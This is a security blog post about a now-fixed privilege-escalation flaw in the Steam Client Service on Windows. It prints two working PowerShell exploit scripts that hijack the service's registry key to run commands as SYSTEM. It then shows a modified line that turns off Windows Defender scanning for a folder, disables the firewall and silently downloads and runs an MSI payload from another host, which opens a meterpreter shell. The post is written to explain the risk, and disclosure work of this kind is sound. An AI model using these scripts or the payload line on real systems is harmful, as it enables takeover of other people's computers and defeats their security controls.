Steam 0day Privilege Escalation Vulnerability

Update: Now Fixed

Last Wednesday a security researcher named Vasily Kravets published an article [1] detailing a “feature” of the Steam Client Service that could be abused by other programs to escalate their own privileges to that of SYSTEM [2]. SYSTEM is not actually an account, but for the purpose of this post you can think of this as a hidden account which has some additional permissions above the standard Administrator account [3].

After this article was released, another security researcher Matt Nelson published a tweet [4] that contains a link to a PoC (Proof of Concept) PowerShell script [5]. This PowerShell script simulated the steps that any process on your computer could take to elevate itself and achieve SYSTEM permissions.

Here are the contents of the PowerShell script:

Write-Host "[*] Installing NTObjectManager..."
install-module NTObjectManager -Scope CurrentUser -Force
import-module NTObjectManager
Write-Host "[*] Removing HKLM:\SOFTWARE\WOW6432Node\Valve\Steam\NSIS"
Remove-Item -Path "HKLM:\SOFTWARE\WOW6432Node\Valve\Steam\NSIS"
Write-Host "[*] Creating Registry Symbolic Link from HKLM:\SOFTWARE\WOW6432Node\Valve\Steam\NSIS to HKLM:\SYSTEM\CurrentControlSet\Services\Steam Client Service"
[NtApiDotNet.NtKey]::CreateSymbolicLink("\Registry\Machine\SOFTWARE\WOW6432Node\Valve\Steam\NSIS",$null, "\REGISTRY\Machine\SYSTEM\CurrentControlSet\Services\Steam Client Service")
Write-Host "[*] Registry Symbolic link created, restarting the Steam Client Service"
Get-Service "Steam Client Service" | Restart-Service
Write-Host "[*] Sleeping 5 seconds"
Start-Sleep 5
Write-Host "[*] DACL on HKLM:\SYSTEM\CurrentControlSet\Services\Steam Client Service should be overwritten"
Write-Host "[*] Modifying the binPath on the Steam Client Service..."
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\Steam Client Service" -Name "ImagePath" -Value "C:\Windows\System32\cmd.exe /c cmd.exe"
Write-Host "[*] binPath overwritten, restarting the service to trigger EoP. This will error out, just ignore it"
Get-Service "Steam Client Service" | Restart-Service
Write-Host "[*] Done, cmd.exe should now be running as NT AUTHORITY\SYSTEM"

I won’t describe what this script does because it was improved somewhat by roflsandwich [6] and I will instead describe that. Just be aware that you SHOULD NOT run the above PowerShell script because it will break steam completely. Unless your working on a VM (Virtual Machine) and backup the registry first, don’t play with it.

Here are the contents of the slightly improved script by roflsandwich:

$cmd = Read-Host -Prompt 'Enter the command you wish to execute as system'
Write-Host "[*] Installing NTObjectManager..."
install-module NTObjectManager -Scope CurrentUser -Force
import-module NTObjectManager
Write-Host "[*] Creating Registry Symbolic Link from HKLM:\SOFTWARE\WOW6432Node\Valve\Steam\Apps\PrivEsc to HKLM:\SYSTEM\CurrentControlSet\Services\Steam Client Service"
[NtApiDotNet.NtKey]::CreateSymbolicLink("\Registry\Machine\SOFTWARE\WOW6432Node\Valve\Steam\Apps\PrivEsc",$null, "\REGISTRY\Machine\SYSTEM\CurrentControlSet\Services\Steam Client Service")
Write-Host "[*] Registry Symbolic link created, restarting the Steam Client Service"
Get-Service "Steam Client Service" | Restart-Service
Write-Host "[*] Sleeping 5 seconds"
Start-Sleep 5
Write-Host "[*] DACL on HKLM:\SYSTEM\CurrentControlSet\Services\Steam Client Service will be overwritten"
Write-Host "[*] Modifying the Binary Path on the Steam Client Service..."
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\Steam Client Service" -Name "ImagePath" -Value "C:\Windows\System32\cmd.exe /c $cmd"
Write-Host "[*] Binary Path overwritten, restarting the service to trigger EoP. This will error out, just ignore it"
Get-Service "Steam Client Service" | Restart-Service
Write-Host "[*] Done, the command $cmd has been executed"
Write-Host "[*] Restoring Binary Path on the Steam Client Service..."
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\Steam Client Service" -Name "ImagePath" -Value "`"C:\Program Files (x86)\Common Files\Steam\SteamService.exe`" /RunAsService"
Write-Host "[*] Binary Path Restored, restarting the Steam Client Service..."
Get-Service "Steam Client Service" | Restart-Service
Get-Service "Steam Client Service"
Write-Host "[*] Done."

In essence, this script simulates a vulnerability that any program could abuse on any Windows 10 computer with Steam installed. Here is what this script does is;

1. Creates a new key HKLM:\SOFTWARE\WOW6432Node\Valve\Steam\Apps\PrivEsc which only requires USER permissions to create, but is a symbolic link to HKLM:\SYSTEM\CurrentControlSet\Services\Steam Client Service which has SYSTEM permissions.
2. Restarts the Steam Client Service process to elevate the privileges of HKLM:\SOFTWARE\WOW6432Node\Valve\Steam\Apps\PrivEsc to SYSTEM which also “backs up” the original Steam Client Service key.
3. It then replaces the Steam Client Service key contents “C:\Program Files (x86)\Common Files\Steam\SteamService.exe`” /RunAsService” with “C:\Windows\System32\cmd.exe /c $cmd”
4. Restarts the Steam Client Service which then executes “C:\Windows\System32\cmd.exe /c $cmd” under SYSTEM privileges.
5. Restores the original key value back to “C:\Program Files (x86)\Common Files\Steam\SteamService.exe`” /RunAsService”
6. Restarts the Steam Client Service again to restore functionality.

Now you might still be wondering why this is a problem. Having a cmd prompt run under SYSTEM privileges means that any number of things could happen here. Let me illustrate further by modifying one line of code.

Instead of having it execute:

Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\Steam Client Service" -Name "ImagePath" -Value "C:\Windows\System32\cmd.exe /c $cmd"

Let’s execute this instead:

Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\Steam Client Service" -Name "ImagePath" -Value "C:\Windows\System32\cmd.exe /c "cd C:\Users\User\Downloads && powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath 'C:\Windows\Installer' && netsh advfirewall set allprofiles state off && msiexec /q /i http://192.168.1.205/1.msi""

Note: 192.168.1.205 is another machine on my network which has all of the tools I need for penetration testing and security research.

So what exactly does this command do?

1. Launches a silent command prompt.
2. Changes directory to the Downloads directory.
3. Adds an exclusion path (C:\Windows\Installer) for Real-Time Monitoring.
4. Disables the firewall completely for all domains. Note: This causes a pop-up and may not even be necessary, I just wanted to highlight the kind of control that the permissions give. You could also probably make this silent.
5. Calls msiexec (Windows Installer) to download a payload called 1.msi from my other machine and runs it on the host.
6. 1.msi is run which calls back to my computer giving me an interactive meterpreter shell.
7. I now have full control over that machine.

Some images to illustrate:

EoP (Escalation of Privilege) vulnerabilities in windows are not uncommon, but in this context this is quite a serious issue. Steam itself is a service for downloading other programs, and is used by approximately 75 million people on Windows 10. The scale of Steam installations makes this a valuable target for malware developers.

Some scenarios where this might be abused include;

1. A free game or any other app available on Steam.
2. Developers that release a patch for programs you already have installed.
3. New programs that you install/run which are aware of this vulnerability.

Obviously this proof of concept only highlights the basics. A malicious program that has been elevated to SYSTEM permissions is probably going to have many different ideas and you would be none the wiser.

Additional Reading:

ArsTechnica
Forbes
The Register
Computing
The Inquirer
Tech Radar
Security Newspaper
Bleeping Computer

References:

[1] https://amonitoring.ru/article/steamclient-0day/
[2] https://docs.microsoft.com/en-us/windows/win32/services/localsystem-account
[3] https://support.microsoft.com/en-gb/help/120929/how-the-system-account-is-used-in-windows
[4] https://twitter.com/enigma0x3/status/1159103239729471488
[5] https://gist.github.com/enigma0x3/03f065be011c5980b96855e2741bf302
[6] https://gist.github.com/roflsandwich/6fb5df2abda912b9d33aad291c9f87de